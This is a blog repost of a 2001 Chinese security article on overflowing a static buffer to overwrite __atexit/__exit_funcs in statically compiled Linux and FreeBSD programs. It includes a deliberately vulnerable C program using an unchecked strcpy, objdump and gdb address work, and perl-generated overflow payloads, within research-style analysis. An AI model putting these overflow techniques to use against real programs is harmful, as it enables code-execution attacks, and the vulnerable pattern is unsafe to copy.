【分析】通过覆盖__atexit进行缓冲区溢出攻击的补充

WebDav漏洞简单分析及通用exploit设计 WebDav漏洞简单分析及通用exploit设计    拜读了isno写的>、>,以及Nankia写的>之后,用他们发布的exploit、以及能在网上找到的exploit在我的一些测试机上测试,有些成功,有些不成功。于是便想自己调试一下。在后来的调试过程中,参考了大量资料,特别是yuange所写的>。在这过程中我学到了很多东西,自己也有些心得体会,其中可能有不少错误的地方,于是便想写下来,一来请各 阅读详情

通过覆盖__atexit进行缓冲区溢出攻击的补充


创建时间:2001-07-20
文章属性:原创
文章来源: http://www.xfocus.org
文章提交: alert7 (sztcww_at_sina.com)

通过覆盖__atexit进行缓冲区溢出攻击的补充
整理:alert7
mail:alert7@21cn.com
主页: http://www.xfocus.org

前言:
    如果您看过《通过覆盖__atexit进行缓冲区溢出攻击》,请一定继续看把
这篇文章看完,因为.....

内容细节:
   今天又重温了一遍warning3翻译整理的《通过覆盖.dtors进行缓冲区溢出攻击》
把他上面那个bleh.c试着用静态编译做了一道。
[alert7 @ww alert7 ]$ cat bleh.c
#include <stdlib.h>
#include <sys/types.h>
static void bleh(void);
int
main(int argc, char *argv[])
{
        static u_char buf[] = "bleh";
        if (argc < 2)
                exit(EXIT_FAILURE);
        strcpy(buf, argv[1]);
        exit(EXIT_SUCCESS);
}
void
bleh(void)
{
        printf("goffio!/n");
}

[alert7 @ww alert7 ]$ gcc -o bleh bleh.c -static
[alert7 @ww alert7 ]$ objdump -s -j .dtors  bleh
bleh:     file format elf32-i386
Contents of section .dtors:
8078d08 ffffffff 00000000
确定.dtors中的析构函数的地址为0x08078d08+4

[alert7 @ww alert7 ]$ objdump --syms bleh | egrep 'text.*bleh'
080481d8 l     F .text  00000012 bleh
bleh函数的地址为0x080481d8

[alert7 @ww alert7 ]$  objdump -s -j .dtors -j .data bleh|grep bleh
bleh:     file format elf32-i386
80777a0 00000000 0c8d0708 00000000 626c6568  ............bleh
字符串bleh的地址为0x80777a0+12

所以A的个数为:0x08078d08+4-(0x80777a0+12)=0x1560=5472

好象一切还挺顺利的,看看攻击能不能成功。
[alert7 @ww alert7 ]$ ./bleh `perl -e 'print "A" x 5472; print "/xd8/x81/x04/x08";'`
Segmentation fault (core dumped)

为什么会这样,还是看看core哪个地方出错了。
[alert7 @ww alert7 ]$ gdb -q bleh core
Core was generated by `./bleh

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x80482a6 in exit (status=0) at exit.c:42
exit.c:42: No such file or directory.
(gdb) bt
#0  0x80482a6 in exit (status=0) at exit.c:42
#1  0x80481d0 in main ()
#2  0x804827d in __libc_start_main (main=0x80481a0 <main>, argc=2,
    argv=0xbfffe8a4, init=0x80480b4 <_init>, fini=0x806f2ec <_fini>,
    rtld_fini=0, stack_end=0xbfffe89c) at ../sysdeps/generic/libc-start.c:78
原来是在exit函数里面出错的,是否会联想到在《通过覆盖__atexit进行缓冲区溢出攻击》
讲到的因为覆盖了__atexit变量使exit函数导致段错误的情况呢。let's go,看我们来看看。

[alert7 @ww alert7 ]$ gdb bleh -q
(gdb) b exit
Breakpoint 1 at 0x8048298: file exit.c, line 40.
(gdb) r
Starting program: /home/alert7 /bleh

Breakpoint 1, exit (status=1) at exit.c:40
exit.c:40: No such file or directory.
(gdb) p __exit_funcs
$1 = (struct exit_function_list *) 0x80777e0

我们来把这几个地址按小到大排列一下
字符串bleh的地址为        0x080777ac
__exit_funcs的地址为      0x080777e0
dtors中的析构函数的地址为 0x08078d0c

减少A的个数,使之够可以覆盖到__exit_funcs的地址就可以了。
字符串bleh的地址和__exit_funcs的地址相差为52个字节。

[alert7 @ww alert7 ]$ ./bleh `perl -e 'print "A" x 48; print "/xd8/x81/x04/x08";'`
一切正常,因为还没有覆盖到。
[alert7 @ww alert7 ]$ ./bleh `perl -e 'print "A" x 49; print "/xd8/x81/x04/x08";'`
Segmentation fault (core dumped)
覆盖到了一个字节,我们来看看。
[alert7 @ww alert7 ]$ gdb -q bleh
(gdb) b exit
Breakpoint 1 at 0x8048298: file exit.c, line 40.
(gdb) r `perl -e 'print "A" x 49; print "/xd8/x81/x04/x08";'`
Starting program: /home/alert7 /bleh `perl -e 'print "A" x 49; print "/xd8/x81/x04/x08";'`

Breakpoint 1, exit (status=0) at exit.c:40
exit.c:40: No such file or directory.
(gdb) p __exit_funcs
$1 = (struct exit_function_list *) 0x80777e0
(gdb) x/8x 0x80777e0
0x80777e0 <fnlist>:     0x00000008      0x00000001      0x00000003      0x0806f2ec
0x80777f0 <fnlist+16>:  0x00000000      0x00000000      0x00000000      0x00000000

构造了如上的atexit结构(该结构请参考《通过覆盖__atexit进行缓冲区溢出攻击》)

for (p = __atexit; p; p = p->next)
                for (n = p->ind; --n >= 0;)
                        (*p->fns[n])();
下一个atexit结构的地址就是0x00000008,该地址为不可访问地址,所以导致了段错误。

这也说明一个问题,atexit()注册的函数先于dtors中的析构函数执行。

以上的测试都是在linux上进行的,所以在LINUX上通过覆盖__atexit进行缓冲区溢出攻击,
还是有可能的,方法跟在freebsd上的相同。请参考那篇文章。在《通过覆盖__atexit进
行缓冲区溢出攻击》中,我很冒失的说了句“这种攻击在LINUX好象是不可能的吧”,
为此感到惭愧。

不致使您也重蹈覆辙,来看看下面的这个演示小程序:
在linux上
[alert7 @ww alert7 ]$ cat test.c
#include <stdio.h>
extern void * __exit_funcs;
int main(void)
        {
         static char buf1[2];
         static char buf[] = "bleh";
         static char scbuf[128];
         char *mabuf;
         mabuf = (char *) malloc(128);
         printf("__exit_funcs                  at %p/n", __exit_funcs);
         printf("malloced                      at %p/n", mabuf);
         printf("static                        at %p/n", &scbuf);
         printf("auto val                      at %p/n", &mabuf);
         printf("static  buf[]=/"bleh/"            at %p/n",&buf);
         printf("static buf1                   at %p/n", &buf1);
     return 0;
        }
[alert7 @ww alert7 ]$ gcc -o test test.c -static -g
[alert7 @ww alert7 ]$ ./test
__exit_funcs                  at 0x80779a0
malloced                      at 0x8079c40
static                        at 0x8078f20
auto val                      at 0xbffffdc0
static  buf[]="bleh"          at 0x807796c
static buf1                   at 0x8078f00

把他们从小到大排列一下
static  buf[]="bleh"          at 0x807796c
__exit_funcs                  at 0x80779a0
static buf1                   at 0x8078f00
static                        at 0x8078f20
malloced                      at 0x8079c40
auto val                      at 0xbffffdc0

在freebsd上
bash-2.05$ cat  test.c
#include <stdio.h>
extern void * __atexit;
int main(void)
        {
         static char buf1[2];
         static char buf[] = "bleh";
         static char scbuf[128];
         char *mabuf;
         mabuf = (char *) malloc(128);
         printf("__atexit                  at %p/n", __atexit);
         printf("malloced                      at %p/n", mabuf);
         printf("static                        at %p/n", &scbuf);
         printf("auto val                      at %p/n", &mabuf);
         printf("static  buf[]=/"bleh/"            at %p/n",&buf);
         printf("static buf1                   at %p/n", &buf1);
         return 0;
        }
bash-2.05$ gcc -o test test.c -static -g
bash-2.05$ ./test
__atexit                      at 0x8053060
malloced                      at 0x8055000
static                        at 0x8052fe0
auto val                      at 0xbfbffbec
static  buf[]="bleh"          at 0x805204c
static buf1                   at 0x8052fc0

把他们从小到大排列一下
static  buf[]="bleh"          at 0x805204c
static buf1                   at 0x8052fc0
static                        at 0x8052fe0
__atexit                      at 0x8053060
malloced                      at 0x8055000
auto val                      at 0xbfbffbec

好了,你也看到了
static char buf[] = "bleh"这样定义,buf地址就会比__exit_funcs小,
就有可能覆盖到__exit_funcs 。

总结:
   通过覆盖__atexit进行缓冲区溢出攻击的确不失为一种好的方法,好的
思路,但真正实施起来普遍性不强。因为有问题的程序需要满足如下两个
条件:
   1:需要用静态编译。
   2:需要类似这样定义变量static char buf[] = "bleh",
      使变量的地址小于__exit_funcs或者(freebsd上__atexit)。

这两个要求都是比较苛刻的,一般情况下或许找不到这样的问题程序。
Cadence PCB仿真使用Allegro PCB SI S参数配置方法图文教程 S参数即S-Parameter是指散射参数,描述信号在传输线中的正反向传输和正反向反射的情况。本文讲述在使用Allegro PCB SI进行信号完整性仿真前,S参数的配置方法。 阅读详情

相关推荐

Apache NiFi新手必看:从零开始的数据流设计入门教程(含实战案例)

本文为Apache NiFi新手提供从零开始的数据流设计入门指南。通过实战案例,详细讲解了如何利用这一强大的数据采集工具,以可视化拖拽方式构建自动化数据流,实现从文件监控、内容处理到数据入库的全流程,并涵盖核心概念、环境搭建及生产环境调优要点。

weixin_29066781的博客 149

从程序员角度看ELF

从程序员角度看ELF 原文:《 ELF:From The Programmer‘s Perspective》 作者:Hongjiu Lu      NYNEX Science & Technology, Inc.     500 Westchester Avenue     White Plains, NY 10604, USA 翻译:alert7                       al

1431

【AMD显卡在WIndow10/11部署带GPU支持的深度学习环境(Pytorch-DirectML篇)】

这篇是之前Tensorflow-DirectML的姊妹篇,如果对TF感兴趣的可以搜索我的博文。 首先我们丢一个官网地址,但是官网那个会误导新人如果你按那个操作的话。 https://docs.microsoft.com/en-us/windows/ai/directml/gpu-pytorch-windows 这里用我的方法操作: 首先声明一下,因为我的显卡是AMD RX6600,不带XT(性能和RTX3060 12G版本半斤八两),所以目前没有最新的WSL2驱动,如果有了的话欢迎告知我,所以我这里就.

weixin_44029053的博客 2万+

通过覆盖.dtors进行缓冲区溢出攻击

http://www.77169.com/book/yin/jiao9/jiaoc991.htm  作者:Juan M. Bello Rivas 整理:warning3 介绍:本文简要介绍了一种获取C程序(此程序应当是用gcc编译的)执行流程控制的技术。本文假设读者熟悉普通的缓冲区溢出技术以及ELF文件格式。鸣谢: 感谢ga和dvorak的有趣讨论。综述:gcc为函数提供了几种类型的属

ivan240的专栏 1554

手把手教你用STM32CubeMX和HAL库驱动MT6835磁编码器(SPI读取21位角度)

本文详细介绍了如何使用STM32CubeMX和HAL库驱动MT6835磁编码器,通过SPI接口读取21位高精度角度数据。从硬件准备、CubeMX配置到HAL库驱动实现与优化,提供了完整的实战指南,帮助开发者快速掌握磁编码器的应用技巧,适用于机器人关节和精密仪器等高精度场景。

weixin_28716769的博客 439

【学长笔记】关于车牌识别的CCPD数据集按比例划分

本文介绍了一个用于CCPD车牌数据集划分的Python脚本,主要功能包括:1) 将数据集按比例划分为训练集、验证集和测试集;2) 支持图像与标签文件校验;3) 可自定义划分比例和样本数量限制;4) 自动生成标准目录结构。脚本使用随机种子确保可重复性,并通过tqdm显示进度条。处理后数据可直接用于YOLO等目标检测模型的训练与评估,建议在预处理完成后立即执行划分以避免数据泄露。文章还提供了相关技术博客的参考链接。

apple_53308981的博客 1480

[转]通过覆盖__atexit进行缓冲区溢出攻击的补充

 [转]通过覆盖__atexit进行缓冲区溢出攻击的补充整理:alert7 mail:alert7@21cn.com 主页: http://www.xfocus.org 前言: 如果您看过《通过覆盖__atexit进行缓冲区溢出攻击》,请一定继续看把 这篇文章看完,因为..... 内容细节: 今天又重温了一遍warning3翻译整理的《通过覆盖.dt

trunk0813的专栏 467

【OpenFOAM】-olaFlow-算例1- baseWaveFlume

算例文件注释--olaFlow-算例1- baseWaveFlume

ou_no的博客 3642

FreeXploiT 成立三年感言!

 04年成立的,和一个朋友,现在那个朋友不知所踪了(他叫菜菜,很早就玩汇编了)后来的两年基本是我一个人更新里面的blog我这个算是最早的安全聚合blog吧? 暗礁的也挺早 不过是团队形式的 鬼仔的05年 neeao的04.10.26我的04.10.15那时候就是想弄点资料自己收藏着看看 ,当然也有很长远的目标 就是想做一个网站 先拿blog练练手一练就是三年啊 哈。。blo

FreeXploiT 8491

(王道408考研数据结构)第二章线性表-第一节:线性表的定义和基本操作

文章目录一:线性表的定义二:线性表的基本操作 一:线性表的定义 线性表(Linear List):零个或多个数据元素的有限序列 元素之间是有顺序的 若元素存在多个,则第一个元素无前驱,最后一个元素无后继,其他元素都有且只有一个前驱和后继 线性表强调有限,“所有的整数按递增次序排列”很明显不是线性表 线性表可以表示为 L=(a1,a1,...,ai+1,...,an)L=(a_{1},a_{1},...,a_{i+1},...,a_{n})L=(a1​,a1​,...,ai+1​,...,an​) a

快乐江湖的博客 3705

Python爬虫实战:携程/飞猪酒店信息爬取与动态价格分析

在当今数字化旅游时代,酒店预订平台的复杂筛选条件和动态定价机制为数据分析和价格监控带来了巨大挑战。本文将深入探讨如何使用最新的Python爬虫技术来抓取携程和飞猪平台的酒店信息,处理复杂的筛选条件,并解析动态价格数据。本文详细介绍了如何使用最新的Python爬虫技术来抓取携程和飞猪平台的酒店信息。通过结合httpxplaywrightparsel强大的反反爬虫能力:通过浏览器指纹伪装、请求签名、智能延迟等技术应对各种反爬措施高效的数据解析:使用CSS选择器和XPath精确提取所需信息灵活的数据存储。

2201_76125261的博客 414

Metasploit Framework all part 1-3

Metasploit Framework, Part 1 Pukhraj Singh, K.K. Mookhey 2004-07-12 <!--This article provides an elaborate insight into the Open Source exploit framework, the Metasploit Fra

FreeXploiT 7212

OdomLaserCalibraTool标定工具的使用及踩坑记录

首先欢迎扫码关注我的微信公众号【SLAM及ROS学习笔记】 GitHub地址 GitHub - tzhangZJU/OdomLaserCalibraTool: Extrinsic Calibration of a Odom and 2d Laser 作者博客 2d Laser 和 Odomter 内外参数标定工具原理及使用方法_知行合一-优快云博客 其实只是记录了一下我自己的标定过程,和错误解决方法。其实博客和GitHub中也有提及 Error1 这个是由于.

Studying…… 1757

强大溢出工具包:Metasploit命令行下的使用 (转至77169)

Metasploit 是个好东西,实在想不到别的办法了,或许这东西能帮你一下,Metasploit包含了众多exploit,说不准还能用上几个,搞几台好肉鸡.下载Metasploit双击进行安装,非常简单,一路回车就行了。安装完之后看下安装目录下的Msfconsole.bat和msfweb.bat,第一个是命令下的控制台。第二个是图形界面下的程序。现在我们先来看下命令行下的使用方法,运行后我们看到

FreeXploiT 7174

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

【分析】对于SSH crc32 compensation attack detector exploit 的分析

对于SSH crc32 compensation attack detector exploit 的分析创建时间:2001-11-12文章属性:整理文章提交:xundi (xundi_at_xfocus.org)by xundi@xfocus.orghttp://xfocus.org2001/11/10由于SSH crc32 compensation attack detector exploit

FreeXploiT 3575

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

【实战】Serv-U "site chmod xxx" Exploit

Serv-U "site chmod xxx" Exploit创建时间:2004-02-20文章属性:转载文章提交:velvet (zodiacsoft_at_hotmail.com)论坛登陆名: SWAN提交者邮件地址: ????提交者QQ号码: ????版权:文章属中华安全网http://www.safechina.net和作者共同所有,转载请注明出处!!标题: Serv-U "site ch

FreeXploiT 3009

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

【分析】通用的攻击WebDAV漏洞的方法

通用的攻击WebDAV漏洞的方法创建时间:2003-03-29文章属性:原创文章来源:http://www.xfocus.net文章提交:isno (isno_at_sina.com)by isno    前几天写的WebDAV漏洞的分析和溢出程序,有一些网友对exploit程序的成功率提出了质疑,哈哈,那个程序确实写的不好,成功率是比较低的。这两天我又翻出yuange原来写的《widechar的

FreeXploiT 2941

【原理+实战】window系统下的堆栈溢出

window系统下的堆栈溢出作者:ipxodi>日期:2000-05-23◆原理篇这一讲我们来看看windows系统下的程序。我们的目的是研究如何利用windows程序的堆栈溢出漏洞。让我们从头开始。windows 98第二版首先,我们来写一个问题程序:#include int main(){char name[32];gets(name);for(int i=0;iprintf("//0x%x"

FreeXploiT 2765

Win32 缓冲区溢出实战 (转)

Win32 缓冲区溢出实战 --------------------------------------------------------------------------------    原文:《Intro to Win32 Exploits》作者:Sergio Alvarez 2004.09.05译者:cloie#ph4nt0m.org 2004.10.30一、前序很多次被朋友邀请写

FreeXploiT 2554

【分析】Serv-U "MDTM"命令远程溢出分析

Serv-U "MDTM"命令远程溢出分析创建时间:2004-03-05文章属性:转载文章提交:peak (pe4k_at_eyou.com)Serv-U "MDTM"命令远程溢出分析                                       czy 于 04.02.29    2月27号一早在securityfocus看到了这个漏洞的公告,上面清楚的说明了You must ha

FreeXploiT 2552

--------溢出植入型木马(后门)的原型实现 作者:FLASHSKY(原创)

 作者:FLASHSKY(原创)作者邮箱:flashsky@xfocus.org站点:    www.xfocus.net申明: 作者无意实现一个木马,作者也不是一个木马开发者,只是提供一种思路:将缓冲区溢出攻击和木马/后门相结合的木马实现手段,通过一个简单的原型来验证这种思路的可行性,并展示给大家看到这种实现方式的很多特点和优势。也提请安全研究人员对这种木马发展技术给予较高的关注,提出查杀和避免

FreeXploiT 2374

【原理】UNF && pr1 present: Writing Linux/x86 shellcodes for dum dums.

UNF && pr1 present: Writing Linux/x86 shellcodes for dum dums.创建时间:2002-08-15文章属性:翻译文章提交:1cbm (edp_at_mail.victoriagrandhotel.com)UNF && pr1 present: Writing Linux/x86 shellcodes for dum dums. =======

FreeXploiT 2373

nc 1.1 -e 远程缓冲区溢出

/* Netcat v1.1, "-e" Switch, Remote Buffer Overflow Exploit v0.1 Homepage..........: http://www.securityfocus.com/tools/139/scoreit Affected versions.: v1.1 Fix....

FreeXploiT 2360

浅析mcafee的“缓冲区溢出保护”及绕过方法【安焦Leven】

[mcafee的“缓冲区溢出保护”]    如果处在堆栈里的shellcode调用了getprocaddress等函数,mcafee会中止当前进程并报警。[分析原理]    mcafee对所有进程截获了loadlibrarya、loadlibraryw、getprocaddress等api函数,方法类似api截获:将这些函数的开始几个字节改为call detectapiret,即调用entapi.

FreeXploiT 2354

【例子】WIN平台缓冲溢出程序编写

创建时间:2001-06-30文章属性:转载文章来源:http://go4.163.com/watercloud/文章提交:quack (quack_at_xfocus.org)post by cloud (safesuite@263.net)最近刚研究了WIN平台的溢出,在openlab(61.150.43.7) VC版贴过.后来整理了一下 下载win_of.zip题目有:        01

FreeXploiT 2226

perl里面对子函数的引用

perl里面,对于变量 / 容器的引用,直接加一个"\"即可。但对于子函数来说,引用方式不一样,必须是前面加"\&"

u014210048的专栏 229
上一篇: 【原理】通过覆盖__atexit进行缓冲区溢出攻击
下一篇: 【分析】对.idq/.ida溢出攻击的分析
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值